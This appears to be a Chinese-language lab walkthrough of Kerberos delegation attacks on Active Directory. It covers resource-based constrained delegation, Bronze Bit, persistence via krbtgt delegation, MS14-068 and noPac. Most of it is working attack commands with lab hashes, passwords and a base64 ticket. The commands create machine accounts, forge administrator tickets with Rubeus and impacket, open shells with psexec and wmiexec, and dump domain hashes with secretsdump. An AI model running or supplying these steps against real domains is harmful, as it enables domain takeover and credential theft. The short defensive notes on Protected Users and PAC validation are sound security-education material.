不一定需要GenericAll权限,GenericWrite、WriteProperty、WriteDacl等等权限都可以修改账户属性。

步骤二

添加机器账户

如果已经获取到域内另一个机器账户的HASH,也可以跳过这一步骤。

使用工具PowerMad

Powershell -ExecutionPolicy Bypass

Import-Module .\Powermad.ps1

//New-MachineAccount -MachineAccount [username] -Password $(ConvertTo-SecureString "[userpassword]" -AsPlainText -Force)

New-MachineAccount -MachineAccount weipai -Password $(ConvertTo-SecureString "User!@#45" -AsPlainText -Force)

查询当前域内机器账户

net group "domain computers" /domain

euc0oysl4sh12343.png

查询机器账户的SID

使用PowerView脚本

Get-DomainComputer -Identity weipai | select objectsid

S-1-5-21-3315874494-179465980-3412869843-2609

mcjnffqlkj312344.png

在windows server2008以及2012版本中,可以使用系统自带的工具dsget和dsquery进行查询SID

dsquery computer | dsget computer -dn -sid

上传并导入该DLL

//Microsoft.ActiveDirectory.Management.dll

Import-Module .\Microsoft.ActiveDirectory.Management.dll

//Get-ADComputer [username]

Get-ADComputer weipai

fnyhtttltaw12349.png

步骤三

修改msDS-AllowedToActOnBehalfOfOtherIdentity

有两种方法可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性值

  1. Powerview
  2. ActiveDirectory模块

PowerView

配置weipai到PC-2016的基于资源的约束委派

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer pc-2016| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

qhiiupj04re12351.png

验证是否成功添加,如果有返回值,则证明成功添加属性

Get-DomainComputer pc-2016 -Properties msds-allowedtoactonbehalfofotheridentity

olrl23bmfcv12354.png

清除msds-allowedtoactonbehalfofotheridentity属性的值

Set-DomainObject pc-2016 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

g5qhhlcjjfd12356.png

ActiveDirectory模块

只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项,且ActiveDirectory模块默认只在域控上安装,如果不是域控可以从域控上把DLL文件复制出来,然后导入powershell即可。

Powershell -ExecutionPolicy Bypass

Import-Module .\Microsoft.ActiveDirectory.Management.dll

Set-ADComputer pc-2016 -PrincipalsAllowedToDelegateToAccount weipai$

Get-ADComputer pc-2016 -Properties PrincipalsAllowedToDelegateToAccount

步骤四

注入票据获取权限

Rubeus

因为Rubeus是不支持明文的,所以先把它转换为hash

Rubeus.exe hash /user:weipai /password:User!@#45 /domain:vvvv1.com

//0EC4B410903C6DC7594464F27D347497

4xaohe2kfqn12359.png

Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:cifs/pc-2016.vvvv1.com /ptt

//注意,使用工具Rubeus注入票据时,目标主机名与之后认证的时候的主机名需要一致

//比如这里是cifs/pc-2016.vvvv1.com,之后dir就需要用pc-2016.vvvv1.com

//如果这里是cifs/pc-2016,之后dir就需要用pc-2016,否则就会拒绝访问

sw2rdk1sh5312363.png

5sjl2zeolss12368.png

也可以直接使用psexec连接

PsExec64.exe \\pc-2016.vvvv1.com cmd.exe

hcyr1xydyqs12372.png

注意,这里获得的权限其实是本地的管理员权限,并没有访问域内资源的权限。

impacket工具包

python getST.py -dc-ip 10.10.10.10 -spn cifs/pc-2016.vvvv1.com -impersonate administrator vvvv1.com/weipai$:User!@#45

set KRB5CCNAME=C:\Users\WP\Desktop\administrator.ccache

python psexec.py -no-pass -k pc-2016.vvvv1.com -dc-ip 10.10.10.10 -codec gbk

总结

  1. 基于资源的约束委派是普通约束委派的反向,不需要域控来进行指定,只需要拥有一个可以修改属性的域内账户即可(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);
  2. 基于资源的约束委派获得的是对方的本地管理员权限,或者system权限,因此多数情况下,基于资源的约束委派可以用来本地提权操作,只需要拥有一个可以修改当前机器属性的域内账户即可;

用户不可委派

在域环境中,高权限用户如果没有特殊需求的情况下,考虑到安全性一般是设置为不可委派,或者是加入受保护组。

141tvboyh5y12375.png

wgla1v5pwka12381.png

加载ActiveDirectory模块(需要在登录域内账户)

Powershell -ExecutionPolicy Bypass

Import-Module .\Microsoft.ActiveDirectory.Management.dll

Get-ADUser administrator -Properties AccountNotDelegated, Memberof

4krbyk4bgkc12385.png

Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt

ed1p3d3cua412386.png

这时候我们在通过s4u去申请一下票据,这个时候S4U2self是成功的,但是S4U2proxy是失败的。

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

也就是说账户不可委派以及受保护组的成员是不影响S4U2Self的,可以使用Rubeus describe查看一下S4U2self返回的票据信息,可以看到该票据是没有服务名称的,并且不可转发。

首先,我们可以知道,在我们配置委派的时候,有两种方式

1)仅使用Kerberos

配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

(2)使用任何身份验证协议

  • 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

从上文的链接中,我们可以了解到,当帐户设置了 TrustedToAuthForDelegation 标志(也称为“协议转换”)时,这种基于资源的反射约束委派相当于 S4U2Self,因为它允许帐户代表用户为自己获取可转发的 TGS。但是,如果帐户配置为具有“仅 Kerberos”的经典约束委派(未设置 TrustedToAuthForDelegation 并且 msDS-AllowedToDelegateTo 不为空),则经典条件优先于基于资源的条件,因此 S4U2Self 会以非-可转发的 TGS 和 S4U2Proxy 失败。

因此,我们必须要配置任何身份验证才可以进行委派。

详情看上文链接文章的这一节:A Misunderstood Feature #1

wmrmnceq22k12392.png

查看票据详情,发现服务名称是缺失的。

Rubeus.exe describe /ticket:ticket.kirbi

xc2fk532c3i12397.png

我们可以修改从S4U2Self获取的TGS上的SPN,并将其变成有效的。

https://xz.aliyun.com/t/7454#toc-2

Rubeus

在Rebeus加入了一个模块可以直接修改票据的SPN,把base64字符串复制下来后,存放到ticket.kribi文件中,由于被base64加密,所以要解密,解密过后可以直接使用Rubeus直接替换里面的内容,这里我们使用python对字符串进行处理。

124opxirp2x12402.png

data =''
with open("1.txt") as fp1:
    for line in fp1:
        data += line.strip().strip('\n')

with open("2.txt",mode='a') as fp2:
    fp2.write(data)

import base64

def base64_decode_to_file(encoded_string, filename):
    try:
        # 将字符串进行 base64 解码
        decoded_data = base64.b64decode(encoded_string)

        # 以二进制方式写入文件
        with open(filename, 'wb') as file:
            file.write(decoded_data)

        print("解码并写入文件成功!")
    except Exception as e:
        print("解码并写入文件出错:", str(e))

# 测试
encoded_string = data
filename = "ticket.kirbi"

base64_decode_to_file(encoded_string, filename)
# print(data)

Rubeus.exe tgssub /ticket:ticket.kirbi /altservice:cifs/pc-2016.vvvv1.com /ptt

//或者直接使用字符串进行修改

Rubeus.exe tgssub /ticket:BASE64 /altservice:cifs/pc-2016.vvvv1.com /ptt

0g1wxdzb1vv12405.png

Rubeus.exe describe /ticket:ticket.kirbi

bfezhr2jhbc12408.png

uq3vep5m3mx12411.png

ASN.1 Editor

修改下图这两处地方即可。

3uw3nrxg42312414.png

o2iuqxvvfdq12416.pngcnzi4wz2rux12419.png

总结

对于用户不可委派的实际应用场景,经过测试,实际上范围十分小。

因为在这一过程中,我们修改的是从S4U2Self获取的ST上的,那么就意味着,在委派的过程中,我们只能利用一台机器账户的HASH,来委派这一台机器本身的服务。如果是一台机器来委派另一台机器的服务,那么我们修改的ST是来自第一台机器的自身可以转发的ST,即使修改了也是只能获取到该机器的服务,并不能获取到第二台机器的服务。

//通过一台机器账户的HASH,来委派这一台机器本身的服务

Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt

而且由于上文所指的只有设置了 TrustedToAuthForDelegation 标志才能进行委派,而默认情况下的非约束委派是不会配置这个标志位的,因此通过机器账户的HASH来获取对应机器的服务必须是在约束委派的前提下进行。

那么我们想要进行约束委派,也需要在域控进行设置,因此该功能比较鸡肋,当然,如果遇到对应情况,就可以利用机器账户来获取到其他的权限。

当然,这些能否使用S4Uproxy都是取决于是否转发到另一个机器,如果是获取到了某个机器账号的HASH,只是用来获取该机器的服务,不转发到其他的机器,则上文中的修改其服务名则可以成功使票据变得可以使用。(也就是说,只要是获得了某个机器账户的HASH,且该系统已经支持S4U,则可以通过S4U来获取其本地的其他服务的权限,例如CIFS。即使该机器没有设置委派也可以成功。)

至于为什么可以公告修改服务吗来使票据变得可用?

因为在进行约束委派的流程中,第二部是获取到自身服务的ST(见下图),由于工具集成了三个步骤,因此第二个步骤的服务名因为需要被第三步进行使用,因此一般服务名为该机器的名称,例如AD-2016$。但是实际上我们可以将该名称替换成该机器的任意本地服务的名称,这样该票据也就可以成功被使用。(也就是说,如果是利用某个机器账户的HASH来获取该机器的服务,就是将下图中的步骤拆开,只进行1、2步骤)。

hgnoa4jc3gs12423.png

ffyzwma0yij12426.png

CVE-2020-17049 Kerberos Bronze Bit攻击

https://www.freebuf.com/vuls/258430.html

https://cloud.tencent.com/developer/article/1761060

https://cloud.tencent.com/developer/article/1808279

假设攻击者已经获得了Service1的密码hash值,且Service1和Service2之间存在委派信任关系(Service1配置为对Service2的约束委派或Service2接受来自Service1的基于资源约束的委派)。如果Service1允许进行协议转换(配置了TrustedToAuthForDelegation属性),就可以利用impacket套件中的GetST.py脚本来获得指定身份的Service2的服务票据ST2。

d0mpmsfi2um12430.png

利用服务票据ST2,攻击者就能伪造成目标用户与Service2进行交互。

由于委派攻击的危害性,因此微软官方提供了多种配置来降低委派攻击的危害。首先可以通过禁止协议转换(即关闭TrustedToAuthForDelegation属性)。

v4vv4wfnfhw12432.png

其次是可以在AD中配置高权限域内账户为“敏感账户,不能被委派”。

bci5vhqbd4412433.png

最后还可以将域内账户添加到 “Protected Users”安全组内。

将域内账户添加到 “Protected Users”安全组内时,会对用户进行限制

  1. 密码更改频率限制:这些账户的密码更改频率将增加,以减少密码被暴力破解或猜测攻击的风险。
  2. 密码历史限制:禁止重复使用之前使用过的密码,以防止密码的持久性攻击。
  3. 强制 Kerberos 加密类型:只允许使用最安全的 Kerberos 加密类型进行身份验证,以减少中间人攻击的风险。
  4. 强制域控制器进行 Kerberos 预身份验证:要求域控制器在 Kerberos 身份验证之前对账户进行预身份验证,以防止票据伪造攻击。
  5. 强制用户会话进行加密:要求用户会话使用加密传输数据,以防止信息泄露和中间人攻击。

ejcxj4qx3eb12436.png

如果某域内账户设置了上述配置至少一个,那么为该域内账户申请服务票据时,该服务票据的“ForWardable”将始终设置为0。即Service1仍然能通过S4U2self 协议获取该域内账户的服务票据ST1,但由于该服务票据ST1的ForWardable标志位0,那么就不能在S4U2 proxy中使用该服务票据ST1获取其他服务票据。

ggdw5ae3w5f12438.png

xs1l1hd5cjt12440.png

观察上图,可以发现在ST1是使用Service1密匙进行加密的。这意味着Service1可以解密ST1后修改forwardable值,然后重新使用Service1密匙进加密后发送给KDC ,forwardable标志不在PAC中,所以KDC无法检测到该值是否已经被篡改。

vyfgqhgddhc12442.png

绕过限制后,攻击者就可以模拟目标用户与Service2进行交互。

漏洞利用

首先配置administrator账户为敏感账户,不可委派,且加入了Protected Users安全组。

配置委派的服务一为仅使用kerberos认证。

1dhua2spjdy12444.png

获取到服务一的HASH

WSUS-PC$ 5d0a673b5f338a159c260fa7b8bc99ec

利用工具进行委派攻击

python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec

2vrc3adsbsf12449.png

发现无法生成对应票据。

添加-force-forwardable参数即可成功。

python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec -force-forwardable

xatigr4md0b12453.png

set KRB5CCNAME=C:\Users\Administrator\Desktop\administrator.ccache

python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

tvyga2qeas212459.png

或者使用mimikatz将票据注入内存

kerberos::ptc administrator.ccache

nfu3l4waevm12464.png

dm1xzrtvxqi12467.png

使用委派进行权限维持

使用约束委派进行权限维持

TGT由krbtgt Hash加密,如果能通过委派krbtgt服务,那么就能伪造任意用户的TGT了。

由于krbtgt默认是禁用的,所以无法使用页面添加它的SPN。

域控通过powershell添加账户到krbtgt的约束委派。

powershell -exec bypass

Import-Module ActiveDirectory

$user = Get-ADUser WP

//添加机器账户的委派$user = Get-ADComputer WSUS-PC$

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/vvvv1.com") }

ypr2l4m1svf12471.png

利用impacket套件攻击

伪造administrator的TGT

python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WP:User!@#45

python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec

导入票据

export KRB5CCNAME=administrator.ccache

用wmiexec弹出一个权限为administrator交互式的shell

python wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 10.10.10.10

导出域内哈希

python secretsdump.py -no-pass -k WIN-KONG.hiro.com

使用基于资源的约束委派进行权限维持

与约束委派的权限维持类似,我们可以配置某个服务账户到krbtgt的基于资源的约束委派,只要有了修改krbtgt的权限,就能伪造任意用户请求krbtgt服务,则可以请求到任意用户的TGT。

使用PowerView工具

3jvl3apefxl12473.png

S-1-5-21-3315874494-179465980-3412869843-502

使用AdFind查找可以修改krbtgt账户属性的账户

AdFind.exe -b CN=krbtgt,CN=Users,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;

ihy53nzfaza12475.png

在域控上执行:

//SID为weipai$的SID

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

lmdrducmuyv12476.png

验证是否成功添加,如果有返回值,则证明成功添加属性

Get-DomainComputer krbtgt -Properties msds-allowedtoactonbehalfofotheridentity

//Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

gqfcpuc0orf12477.png

xsqwrs5xrpi12479.png

清除msds-allowedtoactonbehalfofotheridentity属性的值

Set-DomainObject krbtgt -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

eqqrslixps212480.png

rubeus

使用rubeus伪造administrator请求TGT

Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:krbtgt /ptt

qhbn5scwss012482.png

irpehxevham12483.png

impacket工具包

使用impacket工具包也可以实现

python getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator vvvv1.com/weipai$:User!@#45

set KRB5CCNAME=administrator.ccache

python wmiexec.py -no-pass -k administrator@ad-2016.vvvv1.com -dc-ip 10.10.10.10

PAC攻击

https://blog.csdn.net/shuteer_xu/article/details/129253005

PAC (Privilege Attribute Certificate,特权属性证书),其中所包含的是各种授权信息、附加凭据信息、配置文件和策略信息等。例如用户所属的用户组, 用户所具有的权限等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC,微软在自己的产品中所实现的Kerberos流程加入了PAC的概念,因为在域中不同权限的用户能够访问的资源是不同的,因此微软设计PAC用来辨别用户身份和权限。

在一个正常的Kerberos认证流程中,KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。这样做的好处就是在以后对资源的访问中, 服务端再接收到客户请求的时候不再需要借助KDC的帮助提供完整的授权信息来完成对用户权限的判断, 而只需要根据请求中所包含的PAC信息直接与本地资源的ACL相比较做出裁决。

PAC中包含两个数字签名:**PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。**PAC_SERVER_CHECKSUM是使用服务密钥进行签名,而PAC_PRIVSVR_CHECKSUM是使用KDC密钥进行签名。签名有两个原因。首先,存在带有服务密钥的签名,以验证此PAC由服务进行了签名。其次,带有KDC密钥的签名是为了防止不受信任的服务用无效的PAC为自己伪造票据。

这两个签名分别以PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM类型的PAC_INFO_BUFFER发送。在PAC数据用于访问控制之前,必须检查PAC_SERVER_CHECKSUM签名。这将验证客户端是否知道服务的密钥。而PAC_PRIVSVR_CHECKSUM签名的验证是可选的,默认不开启。它用于验证PAC是否由KDC签发,而不是由KDC以外的具有访问服务密钥的人放入票据中。

PAC中是有两个签名的:PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。一个是使用服务密钥(PAC_SERVER_CHECKSUM)进行签名,另一个使用KDC密钥(PAC_PRIVSVR_CHECKSUM)进行签名。当服务端收到客户端发来的AP-REQ消息时,只能校验PAC_SERVER_CHECKSUM签名,而并不能校验PAC_PRIVSVR_CHECKSUM签名。因此,正常来说如果需要校验PAC_PRIVSVR_CHECKSUM签名的话,服务端还需要将客户端发来的ST服务票据中的PAC签名发给KDC进行校验。

但是,由于大部分服务默认并没有KDC验证PAC这一步(需要将目标服务主机配置为验证KDC PAC签名,默认未开启),因此服务端就无需将ST服务票据中的PAC签名发给KDC校验了,只需要在本地与ACL进行对比验证即可。这也是白银票据攻击能成功的前提,因为如果配置了需要验证PAC_PRIVSVR_CHECKSUM签名的话,服务端会将这个PAC的数字签名以KRB_VERIFY_PAC的消息通过RPC协议发送给KDC,KDC再将验证这个PAC的数字签名的结果以RPC返回码的形式发送给服务端,服务端就可以根据这个返回结果判断PAC的真实性和有效性了。 因此如果目标服务主机配置了要校验PAC_PRIVSVR_CHECKSUM签名的话,就算攻击者拥有服务密钥,可以制作ST服务票据,也不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,自然就无法通过KDC的签名校验了。

根据微软官方文档的描述,若要开启KDC校验PAC,需要有以下条件:

  • 应用程序具有SeTcbPrivilege权限。SeTcbPrivilege权限允许为用户帐户分配“作为操作系统的一部分”。本地系统、网络服务和本地服务帐户都是由windows定义的服务用户帐户。每个帐户都有一组特定的特权。
  • 应用程序是一个服务,验证KDC PAC签名的注册表项被设置为1,默认为0。修改方法如下:
  1. 启动注册表编辑器regedit.exe
  2. 找到以下子键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
  3. 添加一个ValidateKdcPacSignature的键值(DWORD类型)。该值为0时,不会进行KDC PAC校验。该值为1时,会进行KDC PAC校验。因此可以将该值设置为1启用KDC PAC校验。

对于验证KDC PAC签名这个注册表键值,有以下几点注意事项:

  1. 如果服务端并非一个服务程序,而是一个普通应用程序,它将不受以上注册表的影响,而总是进行KDC PAC校验。
  2. 如果服务端并非一个程序,而是一个驱动,其认证过程在系统内核内完成,它将不受以上注册表的影响,而永不进行PAC校验。
  3. 使用以上注册表项,需要在Windows Server 2003 SP2或更新的操作系统。
  4. 在运行Windows Server 2008或更新操作系统的服务器上,该注册表项的值缺省为0(默认没有该ValidateKdcPacSignature键值),也就是不进行KDC PAC校验。

注:需要说明的是,注册在本地系统帐户下的服务无论如何配置,都不会触发KDC验证PAC签名。也就是说譬如SMB、CIFS、HOST等服务无论如何都不会触发KDC验证PAC签名。(如果是LDAP服务,则是注册在域内的服务)

因此,如果配置了KDC检验PAC的话,即使拥有服务密钥,生成了服务ST,也无法利用白银票据进行攻击,因为不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,也就无法通过KDC的签名校验了。

MS14-068

MS14-068漏洞的原因是KDC无法正确检查PAC中的有效签名,由于其实现签名的加密允许所有的签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证,因此可以利用不需要相关密钥的算法,如MD5,实现内容的任意更改,导致用户可以自己构造一张PAC,伪造用户的SID和所在的组,那么可以通过伪造PAC,加入域管相关信息,访问域控服务,KDC会认为当前用户有权限,从而把这个用户当作域管组的成员,进而达到提升为域管理员的效果。

使用该漏洞系统需未打MS14-068的补丁(KB3011780),系统在windows server 2008及以下。

使用MS14-068的先决条件:

  • 域内任意⽤户 SID
  • 域内任意⽤户密码
使用MS14-068.exe

man1 0ec4b410903c6dc7594464f27d347497

man1 S-1-5-21-3315874494-179465980-3412869843-1110

MS14-068.exe -u man1@vvvv1.com -p User!@#45 -s S-1-5-21-3315874494-179465980-3412869843-1110 -d 10.10.10.10

//使用mimikatz导入票据文件

kerberos::ptc TGT_man1@vvvv1.com.ccache

auwakx13wl412485.png

使用GoldenPac.py

python goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.10 vvvv1.com/man1:User!@#45@ad-2016.vvvv1.com

使用Kekeo.exe

kekeo.exe "exploit::ms14068 /domain:vvvv1.com /user:man1 /password:User!@#45 /ptt" "exit"

CVE-2021-42287&CVE-2021-42278(NoPac)

https://www.freebuf.com/vuls/317773.html

https://blog.csdn.net/weixin_44747030/article/details/127158385

CVE-2021-42278是一个安全绕过漏洞,允许通过修改机器账户的sAMAccountName属性来冒充域控。与标准用户账户相比,机器账户的名称末尾附带了一个“$”符号,但是实际中,AD并没有验证域内机器账户中是否具有“$”,导致机器账户可以被假冒。

sAMAccountName(Security Account Manager Account Name)是Microsoft Windows中的一个属性,用于标识和表示用户和计算机账户。sAMAccountName是Active Directory(AD)中的一项属性,也适用于Windows Server域环境。

sAMAccountName属性用于在域内唯一标识用户和计算机账户。对于用户账户,sAMAccountName通常是用户的登录名,例如"johnsmith"。

sAMAccountName属性主要用于内部引用和标识用户和计算机账户,它不包含完整的用户或计算机名称,而只是一个唯一的标识符。要获取完整的用户或计算机账户名称,可以使用其他属性,如User Principal Name(UPN)或Distinguished Name(DN)。

CVE-2021-42287是一个影响Kerberos特权属性证书(PAC)的安全绕过漏洞,允许通过假冒域控,使密钥分发中心(KDC)创建高权限票据。

根据认证Kerberos协议,在请求服务票证前需要先签发TGT(票据授权凭证)。但是,当为活动目录中不存在的账户请求服务票证时,密钥分发中心(KDC)将在该账户名上附加“$”符合进行搜索。这一行为与CVE-2021-42278结合,测试人员可以实现域内权限提升。

大致流程如下:

  1. 当前已经拿下域内一台普通权限机器;
  2. 创建一个机器账户,假定为NOPAC1;
  3. 清除机器账户NOPAC1的servicePrincipalName属性;
  4. 修改机器账户NOPAC1的sAMAccountName属性,使其指向不带“$”符合的域控账户,相当于将该机器账户改名,如果域控名称为AD-2016$,就将该机器账户名称修改成AD-2016;
  5. 利用改名后的账户AD-2016请求TGT;
  6. 将新建的机器账户的sAMAccountName属性,使其恢复其原初始值(NOPAC1)或其他任意值即可;
  7. 利用S4U代表域管理员请求对应服务的服务票据(ST);
  8. 伪造域管理员账户获得相应服务的ST;

为什么要清除机器账户NOPAC1的servicePrincipalName属性?

servicePrincipalName属性存储了该账户所注册的服务主体名称(SPN)。

在修改sAMAccountName值时,servicePrincipalName的值与sAMAccountName的值相关联,servicePrincipalName将使用新值自动更新。该漏洞利用时,会将sAMAccountName的值改成AD-2016,那么servicePrincipalName将试图更新AD-2016的SPN,而该SPN已经被域控所独占,那么就会引发报错。所以在修改机器账户的sAMAccountName属性前,需要将其servicePrincipalName属性清除。

为什么要使用S4U进行请求ST?

在S4U请求中,在KDC解析TGT的用户信息时,因为AD-2016不存在,因此会在后面添加“$”进行查找,也就是域控的机器账户。此时,该TGT被KDC认定为是域控机器账户的TGT,然后进行S4u2Self请求,伪造任意用户访问域控自身的服务,例如administrator用户,然后重新生成对应的PAC又写入ST中。(利用域控机器TGT可以通过S4u2Self生成与自己有关的所有服务ST,但是是否能使用该ST,取决于PAC中伪造的用户权限)

03wzxztqviv12487.png

KDC收到TGT认购权证后,利用krbtgt密钥对其解密,然后取出PAC。然后验证PAC的签名,如果签名正确,则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说,ST服务票据中的PAC和TGT认购权证中的PAC是一致的。如果TGT认购权证中没有PAC的话,KDC在拷贝PAC的时候,也是拷贝的空的,这就意味着ST服务票据中也没有PAC。因此,需要使用S4u2Self重新生成PAC进行利用。

对于无论用户有没有访问服务的权限,只要TGT正确,就会返回ST,该ST为何无法利用?

利用S4u2Self只能伪造高权限用户生成与当前机器有关的服务ST,在生成ST的过程中并将高权限PAC写入ST,使得该ST可以被转发使用。但是实际上PAC是无法修改的,对于低权限用户生成的访问某些服务的ST,即使TGT正确,生成的ST由于其中的PAC权限过低,导致无法使用。

具体过程

使用工具Powermad,添加名为NOPAC2$,密码为User!@#45的机器账户。

powershell -exec bypass

Import-Module .\Powermad.ps1

$password = ConvertTo-SecureString 'User!@#45' -AsPlainText -Force

New-MachineAccount -MachineAccount "NOPAC2" -Password $($password) -Domain "vvvv1.com" -DomainController "ad-2016.vvvv1.com" -Verbose

itim0vamhaf12489.png

如下图所示添加成功。

gte4enadavz12490.png

使用工具PowerView,清除机器账户NOPAC2$的service-PrincipalName属性

Import-Module .\PowerView.ps1

Set-DomainObject "CN=NOPAC2,CN=Computers,DC=vvvv1,DC=com" -Clear 'serviceprincipalname' -Verbose

使用ADExplorer查看机器账户属性,发现已经删除service-PrincipalName属性

04pbxn3i2bo12492.png

修改机器账户的sAMAccountName属性,使其指向不带"$"符号的域控机器账户。

Set-MachineAccountAttribute -MachineAccount “NOPAC2” -Value "AD-2016" -Attribute "samaccountname" -Verbose

1e3f23beldc12494.png

arostive0s112496.png

使用工具Rubeus工具为账户AD-2016请求TGT。

Rubeus.exe asktgt /user:"ad-2016" /password:"User!@#45" /domian:"vvvv1.com" /dc:"ad-2016.vvvv1.com" /nowrap

zdiaqq4b15y12497.png

2dk5q51nhsd12499.png

获取到TGT后,恢复原机器名,或修改成其他任意机器名。

Set-MachineAccountAttribute -MachineAccount "NOPAC2" -Value "NOPAC2$" -Attribute samaccountname -Verbose

jqkynpjw4cx12501.png

Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/AD-2016.vvvv1.com" /dc:"AD-2016.vvvv1.com" /ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID9TCCA/FhggPtMIID6aADAgEFoQsbCVZWVlYxLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29to4IDszCCA6+gAwIBEqEDAgECooIDoQSCA50gPYZQmCqJTBvQ0DalEvZRoszQULoN8jmphV2L2h77Iz91/s5p5AM9lszINs0hTdC9e3hnhJTk+qPHwe/eqqAX7nmUy4AsojmEQkutV4UuFsBM/c/ppQmXP3lD5xsJTUfBqSkcwl7RHFqo+Z1uZpHzfLv6YMP6UMHK8lD8A6MEu33SU7Tda1rVPa2P3QRPgGay2wVP9wtYtjmU3/Mj5CKey+fHlJHCNwSGHWU5FCvFwp7WMQ02L8tFxJKeOq3+RX7iIauOFxjYCCGG+IklHIdPuPiIC8HKzlF1E8jJh97tYoRuw/DvejtJ4TlcATmJKqb/baGngQiwOs4TRs26B+uPwkj9lMdbQJuxUxlBEJkuJtyozoAk9/LjIwwvIhaA6yhv8uVKSYQkslnCIrWuRR4Y82wCIjCNVwyBhhTOAbR1LfzI0yXnwbky232ptnPf0ahZi33wIh3lnZ1bU6mG6Pu/9lDLVyIfrVKIg5zqdmMU+vyCVjAJrhqxEQomQ4+QRZmrLKFpAxe7Bbv7iBUMVA4N5qbv0PB16Hh4g0cNqKPNVmKnuRsjO8xMpW4XlHc1Dn6mAJgkEqNvio3fxvzlWCvzjDTttdGyH8UMNwL7m2qHFaMSm4QEWQIJP8NNgCYIH4aqLmQlzXvou4L7BFxOcfXdhYWsZJACnGATFdm42roIwo1dLHWER5oQBPktrhdau8QCduPB7kcdrJxR9avKlfqO7xvhI1qlVANunMpgs75NVwgLa0wzMwe7fy0QFPMYVfH4TTjGuhPRMVGnKrcEmGI+ze3Y0c1m0XpqiwzR1YGAwNuIQTfGAimO0rG1uLdVNapWbQv/v55EzRldCoKvR/eGZhpf8SvjYwqSXXttWaPOrwFFdLej2LqpT2vStkLNzC4grCvF73if2WTHxm/UykDLF4trlxt7LTxf1cD18HYavkB6E3uN8PTWIJ4VkRWzfowrSvpoBUWTY52We3Fj7ACJ64T2xAPp6rChXUyd9w0KcVbtUGxbrpb0mql06FoMfjPpKS5ySPDDRwfO6rnP39ABejIzRB1Q9qZYhaYzedQ64BSuz/C5psjfGg/jummxwgec9dWcmEhRMB6UWkOFN+PI1R0mJLTJKVK88zb682knMlp2uqevLerZzTQn8CRQ6N0wZ1qekX+EgMpm0wOtGyGmarUAibFaAijg/TOhnJ7Qn/1bFXbfAeu0Ox77wYFi6ST1Xri659p4zdNh3Au2o4HMMIHJoAMCAQCigcEEgb59gbswgbiggbUwgbIwga+gGzAZoAMCARehEgQQH3LWAD2770rKZvl9IskRnqELGwlWVlZWMS5DT02iFDASoAMCAQGhCzAJGwdhZC0yMDE2owcDBQBA4QAApREYDzIwMj